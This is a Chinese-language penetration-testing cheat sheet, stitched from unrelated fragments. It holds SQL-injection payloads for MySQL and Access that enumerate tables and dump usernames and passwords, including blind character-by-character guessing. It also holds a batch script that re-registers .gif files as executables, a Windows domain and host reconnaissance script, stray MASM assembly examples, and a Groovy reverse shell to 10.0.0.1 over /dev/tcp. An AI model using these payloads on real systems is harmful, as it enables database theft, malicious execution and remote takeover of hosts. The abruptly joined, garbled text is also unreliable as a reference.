xxx.php?id=1 and 1=2 union select 1, group_concat(username,0x3a,password),3 from user
3.使用内建数据库查询表段和字段 查表段:
1 2 3
xxx.php?id=1 and 1=2 union select 1,2,table_name from (select * from information_schema.tables where table_schema=数据库名的hex order by table_schema limit 0,1)t limit 1–
查字段:
1 2 3
xxx.php?id=1 and 1=2 union select 1,2,column_name from (select * from information_schema.columns where table_name=表名的hex and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–
这里可以再结合下concat的拼接功能
1 2 3 4
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) from (select * from information_schema.columns where table_name=表名的hex and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1– [n表示第n条数据]
Access篇
猜表名
1
*.asp?id=1 and exists (select * from admin)
猜列名
1
*.asp?id=1 and exists (select password from admin)
Order by查询
1
*.asp?id=1 order by 3
union 查询
1
*.asp?id=1 union select 1,password,3 from admin
不支持union的情况 先判断内容的长度
1
*.asp?id=132 and (select top 1 len(user) from admin) >5
然后一个一个猜
1
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97
@echo off color 1A ECHO Windows Registry Editor Version 5.00>gif.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg ECHO "Content Type"="application/x-msdownload">>gif.reg ECHO @="exefile">>gif.reg regedit /s gif.reg>nul 2>nul del /s gif.reg>nul 2>nul
@echo off ipconfig /all net start tasklist /v net user net localgroup administrator netstat -ano net use net view net view /domain net group /domain net group "domain users" /domain net group "domain admins" /domain net group "domain controllers" /domain net group "exchange domain servers" /domain net group "exchange servers" /domain net group "domain computers" /domain echo #########system info collection systeminfo ver hostname net user net localgroup net localgroup administrators net user guest net user administrator echo #######at- with atq##### echo schtask /query echo echo ####task-list############# tasklist /svc echo echo ####net-work infomation ipconfig/all route print arp -a netstat -anipconfig /displaydns echo echo #######service############ sc query type= service state= all echo #######file-############## cd \ tree -F
list BYTE 10,20,30,40 BYTE 50,60,70,80 BYTE 81,82,83,84
;定义字符串 str1 BYTE 'This is a test', 0 ; str2 BYTE "This is a test ",0dh,0ah, ;CRLF BYTE "This is a test ",0dh,0ah,0 ; dup BYTE 20 DUP(0) ;20字节,全部用0填充 BYTE 4 DUP("stack") ;20字节,"STACKSTACKSTACKSTACK"
word1 WORD 65535 ;最大无符号字 word2 WORD -32768 ;最小无符号字 word3 WORD ? ;未初始化的字
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()